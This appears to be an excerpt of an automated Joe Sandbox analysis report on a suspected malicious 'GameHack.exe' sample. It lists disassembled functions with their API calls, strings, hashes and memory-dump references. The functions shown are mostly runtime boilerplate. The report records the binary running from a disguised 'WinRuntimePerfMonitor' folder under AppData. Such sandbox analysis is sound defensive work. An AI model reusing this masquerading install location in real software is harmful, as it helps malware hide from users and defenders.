Instruction ID: a06d33cd1c9293d79a0478176fdc5be84e528286dc402a12e6147662767952fe
Opcode Fuzzy Hash: 94039ccb5b02abce938aa8ad25ac3c6ca461d3186084b087582fa1c76c7bb4b5
Instruction Fuzzy Hash: A521957160024EBBDB049E12DC81FBB77EDAB54788B14A524FD09BB252E270DD41A691

Function 00EF8FA5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00F10EE8,00EF3E14,00F10EE8,?,?,00EF3713,00000050,?,00F10EE8,00000200), ref: 00EF8FA9
_free.LIBCMT ref: 00EF8FDC
_free.LIBCMT ref: 00EF9004
SetLastError.KERNEL32(00000000,?,00F10EE8,00000200), ref: 00EF9011
SetLastError.KERNEL32(00000000,?,00F10EE8,00000200), ref: 00EF901D
_abort.LIBCMT ref: 00EF9023

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 98812c61a904bbf7fdea22313770d2be07c683fe4ebc6b7ad6593cf03e64cae1
Instruction ID: 20b4b3941a971a455adefde896a0cade4bf7aa5b107876dcd5c06ee52b688882
Opcode Fuzzy Hash: 98812c61a904bbf7fdea22313770d2be07c683fe4ebc6b7ad6593cf03e64cae1
Instruction Fuzzy Hash: A6F02837605A0D6FC31133246E0AB3B399AAFC1778F392114F715F2293EE20CD026415

Function 00EED2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00EED2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EED30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EED31D
TranslateMessage.USER32(?), ref: 00EED327
DispatchMessageW.USER32(?), ref: 00EED331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00EED33C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: bd2db92db64b6eedafbac965dc26fee878571e9b10f61a2ed8dfda7ad045178a
Instruction ID: 5042318e7f6028109f669988dbf5d78c3460dcec82ef9250e1b0ff1fe71608b1
Opcode Fuzzy Hash: bd2db92db64b6eedafbac965dc26fee878571e9b10f61a2ed8dfda7ad045178a
Instruction Fuzzy Hash: C9F03CB2A0111DABCB205BA2DC4CEDBBF6EEF517A1F008012FA06E2010D6348545D7B1

Function 00EEC40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00EEC435

Part of subcall function 00EE17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EDBB05,00000000,.exe,?,?,00000800,?,?,00EE85DF,?), ref: 00EE17C2

Strings

HIDE, xrefs: 00EEC474
MAX, xrefs: 00EEC487
MIN, xrefs: 00EEC4A3
<, xrefs: 00EEC41E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: de8ed47d5b9f4e86eda45a2b2fa3ce42dfd8e4bf2e1b5b8eeb77e947c674864e
Instruction ID: 3b1acb80f0cf290b13d84b0e99d9af76255067e309a089a14a9c9ad445ad6abb
Opcode Fuzzy Hash: de8ed47d5b9f4e86eda45a2b2fa3ce42dfd8e4bf2e1b5b8eeb77e947c674864e
Instruction Fuzzy Hash: 3431817290068DAADF25DA96CC41EEB77FCEB14704F1050A6FA19F6090EBB09FC5CA50

Function 00EEADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00EEADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 00EEAE22
DeleteObject.GDI32(00000000), ref: 00EEAE54
DeleteObject.GDI32(00000000), ref: 00EEAE77

Part of subcall function 00EE9E1C: FindResourceW.KERNEL32(00EEAE4D,PNG,?,?,?,00EEAE4D,00000066), ref: 00EE9E2E
Part of subcall function 00EE9E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E46
Part of subcall function 00EE9E1C: LoadResource.KERNEL32(00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E59
Part of subcall function 00EE9E1C: LockResource.KERNEL32(00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E64

Strings

], xrefs: 00EEAE2A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: 977a3932e496cdd9022bccb454bdf14f655f6221fb155e9c2faf57ee09a6bbad
Instruction ID: 651285a3ec0af885115404138b58d15ab667eaf9e58a033a8402685755b44da8
Opcode Fuzzy Hash: 977a3932e496cdd9022bccb454bdf14f655f6221fb155e9c2faf57ee09a6bbad
Instruction Fuzzy Hash: E801F9325406ADA7C71077669C06ABF7BFAAF81B51F0C1129FD00B72A2DF718C1596B2

Function 00EECC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

EndDialog.USER32(?,00000001), ref: 00EECCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00EECCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00EECD05
SetDlgItemTextW.USER32(?,00000068), ref: 00EECD14

Strings

RENAMEDLG, xrefs: 00EECCA8

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 74fc364e9b74fc4a82e785bd9a07cc9da5e6ff53084c8b51125369bcdf2a8628
Instruction ID: 59505ec176ebaf8aeb60122965b05e00b2a353e8516e8b68b4d582d12fb0fae5
Opcode Fuzzy Hash: 74fc364e9b74fc4a82e785bd9a07cc9da5e6ff53084c8b51125369bcdf2a8628
Instruction Fuzzy Hash: A001453238425C7AD1204F65AD08FAB7BADEB4A706F300010F34AB60E0C7629806E721

Function 00EF2503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00EF251A

Part of subcall function 00EF2B52: ___AdjustPointer.LIBCMT ref: 00EF2B9C

_UnwindNestedFrames.LIBCMT ref: 00EF2531
___FrameUnwindToState.LIBVCRUNTIME ref: 00EF2543
CallCatchBlock.LIBVCRUNTIME ref: 00EF2567

Strings

/), xrefs: 00EF2526, 00EF2517

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: /)
API String ID: 2633735394-750405031
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 2ca444cf4bf9040f47daaccc15bd8ab33402c26b92a6b778a64a5459ee0de437
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 1A01023200010DABCF129FA5CC11EEA3BAAEF58714F159018FA1876120C336E961ABA1

Function 00EF75C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00EF7573,00000000,?,00EF7513,00000000,00F0BAD8,0000000C,00EF766A,00000000,00000002), ref: 00EF75E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00EF75F5
FreeLibrary.KERNEL32(00000000,?,?,?,00EF7573,00000000,?,00EF7513,00000000,00F0BAD8,0000000C,00EF766A,00000000,00000002), ref: 00EF7618

Strings

mscoree.dll, xrefs: 00EF75DB
CorExitProcess, xrefs: 00EF75ED

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a00b34ed01852d9ff12e46ef99631f3b48ad6d524069c361590a37c5e3113ec0
Instruction ID: d381afdd9f7c8bae2120eb945bb774e350c0c20bba0679f9b06efe138b147ac6
Opcode Fuzzy Hash: a00b34ed01852d9ff12e46ef99631f3b48ad6d524069c361590a37c5e3113ec0
Instruction Fuzzy Hash: B3F0AF30A0861CBBDB159B94DC09BAEBFB8EF04716F004068F805E2190DB708E40EA90

Function 00EDEB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00EE0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EE00A0
Part of subcall function 00EE0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EDEB86,Crypt32.dll,00000000,00EDEC0A,?,?,00EDEBEC,?,?,?), ref: 00EE00C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00EDEB92
GetProcAddress.KERNEL32(00F181C0,CryptUnprotectMemory), ref: 00EDEBA2

Strings

CryptProtectMemory, xrefs: 00EDEB8C
CryptUnprotectMemory, xrefs: 00EDEB98
Crypt32.dll, xrefs: 00EDEB7C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: f4376507435191e0c6542645a3260fd8755772fe903ecf9df63852750b3460f8
Instruction ID: 43e3fc1762f31833c60799f882f7904fc17523682e774de8469daab91559574f
Opcode Fuzzy Hash: f4376507435191e0c6542645a3260fd8755772fe903ecf9df63852750b3460f8
Instruction Fuzzy Hash: 5FE04670801745AEDB30AF39980CB42BEE9AB14708F00981EE4D6F3280DAF4E580AB61

Function 00EF7DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF7E4B
_free.LIBCMT ref: 00EF7E6B

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 12577a9f6a54c63c071e0eb2309968233e9612d91d151b0eede4e9de50921ff9
Instruction ID: 764a6d37578b1fc06fccc9dc00334cc731b121702299c2198ba8310278e2e729
Opcode Fuzzy Hash: 12577a9f6a54c63c071e0eb2309968233e9612d91d151b0eede4e9de50921ff9
Instruction Fuzzy Hash: B941A132A003089BDB24DF78C881A6EB7E5EF89714F1555ADE655FB341EB31AD01CB80

Function 00EFB610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00EFB619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EFB63C

Part of subcall function 00EF8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00EFC13D,00000000,?,00EF67E2,?,00000008,?,00EF89AD,?,?,?), ref: 00EF854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00EFB662
_free.LIBCMT ref: 00EFB675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00EFB684

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: fffa6434c4c2146e4a4af60d82a5e018437730640fd91d5ecb75efa005ed2a00
Instruction ID: 014880758eeea2bff2f5756a7727fe6994ff4aeabe70a9e4c280dd1fde6bcd90
Opcode Fuzzy Hash: fffa6434c4c2146e4a4af60d82a5e018437730640fd91d5ecb75efa005ed2a00
Instruction Fuzzy Hash: DE01A77260161DBF63211A76AC8CC7F7A6DEEC7BA43661229FE05E7110DF60CD0191B0

Function 00EF9029 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00F10EE8,00000200,00EF895F,00EF58FE,?,?,?,?,00EDD25E,?,00BB1600,00000063,00000004,00EDCFE0,?), ref: 00EF902E
_free.LIBCMT ref: 00EF9063
_free.LIBCMT ref: 00EF908A
SetLastError.KERNEL32(00000000,00F03958,00000050,00F10EE8), ref: 00EF9097
SetLastError.KERNEL32(00000000,00F03958,00000050,00F10EE8), ref: 00EF90A0

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 4a83088e52ee94598bbaae4d073f7cd4c42a5cdd3c87e6d0b32fbc85abbf88cf
Instruction ID: 7632dc5a0f22cd4c2c34f5eb16b806bfa41ec3ed68d3b9aa5bcc561f7f16f2ae
Opcode Fuzzy Hash: 4a83088e52ee94598bbaae4d073f7cd4c42a5cdd3c87e6d0b32fbc85abbf88cf
Instruction Fuzzy Hash: A701F472605A0C6BC32227356D85B7B369DBBC03797252024F759F2293EF60CC016161

Function 00EE075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00EE0A41: ResetEvent.KERNEL32(?), ref: 00EE0A53
Part of subcall function 00EE0A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00EE0A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00EE078F
CloseHandle.KERNEL32(?,?), ref: 00EE07A9
DeleteCriticalSection.KERNEL32(?), ref: 00EE07C2
CloseHandle.KERNEL32(?), ref: 00EE07CE
CloseHandle.KERNEL32(?), ref: 00EE07DA

Part of subcall function 00EE084E: WaitForSingleObject.KERNEL32(?,000000FF,00EE0A78,?), ref: 00EE0854
Part of subcall function 00EE084E: GetLastError.KERNEL32(?), ref: 00EE0860

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: d7ed051b2930c3106b8bdeda7470e042179a4a42f79fdc23be70b9f8689c1d5b
Instruction ID: 8b30c453dba663b31d8a4def652d62cb52ae9fe21cb861946ebc56454faa47b5
Opcode Fuzzy Hash: d7ed051b2930c3106b8bdeda7470e042179a4a42f79fdc23be70b9f8689c1d5b
Instruction Fuzzy Hash: 1901B57144074CEFC7219B65DC84FC6BBEDFB48710F004529F15E52160CBB56A44DB90

Function 00EFBF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EFBF28

Part of subcall function 00EF84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958), ref: 00EF84F4
Part of subcall function 00EF84DE: GetLastError.KERNEL32(00F03958,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958,00F03958), ref: 00EF8506

_free.LIBCMT ref: 00EFBF3A
_free.LIBCMT ref: 00EFBF4C
_free.LIBCMT ref: 00EFBF5E
_free.LIBCMT ref: 00EFBF70

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 70fd4c65cfe1c8d2dfc0e4e2dad82261fe7cc6fa2004ac17541de5e8211e5017
Instruction ID: a3ffaeb78f61e003e51fc4ee066f7d1e681fe9d36376ade3a021cb268cd72b2e
Opcode Fuzzy Hash: 70fd4c65cfe1c8d2dfc0e4e2dad82261fe7cc6fa2004ac17541de5e8211e5017
Instruction Fuzzy Hash: 93F0FF3360520DA7CA20EF64EF86C2673D9FA007147646C09F619E7910CB20FC809A54

Function 00EF8060 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF807E

Part of subcall function 00EF84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958), ref: 00EF84F4
Part of subcall function 00EF84DE: GetLastError.KERNEL32(00F03958,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958,00F03958), ref: 00EF8506

_free.LIBCMT ref: 00EF8090
_free.LIBCMT ref: 00EF80A3
_free.LIBCMT ref: 00EF80B4
_free.LIBCMT ref: 00EF80C5

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ad0fe8192ad4f4423600f48ebe3e5b18166a835b6ad611e07ed62b836fae99f5
Instruction ID: 5e90e392e5f8896d4988769143f9a8b61fa6efc08f0409c3ad3cf77a0dceb521
Opcode Fuzzy Hash: ad0fe8192ad4f4423600f48ebe3e5b18166a835b6ad611e07ed62b836fae99f5
Instruction Fuzzy Hash: 02F082B580212D8BC7116F15FE124263BA6F7147303086A1AF620A7A71CF314951BFD1

Function 00EF76BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe,00000104), ref: 00EF76FD
_free.LIBCMT ref: 00EF77C8
_free.LIBCMT ref: 00EF77D2

Strings

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe, xrefs: 00EF76F4, 00EF76FB, 00EF772A, 00EF7762

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
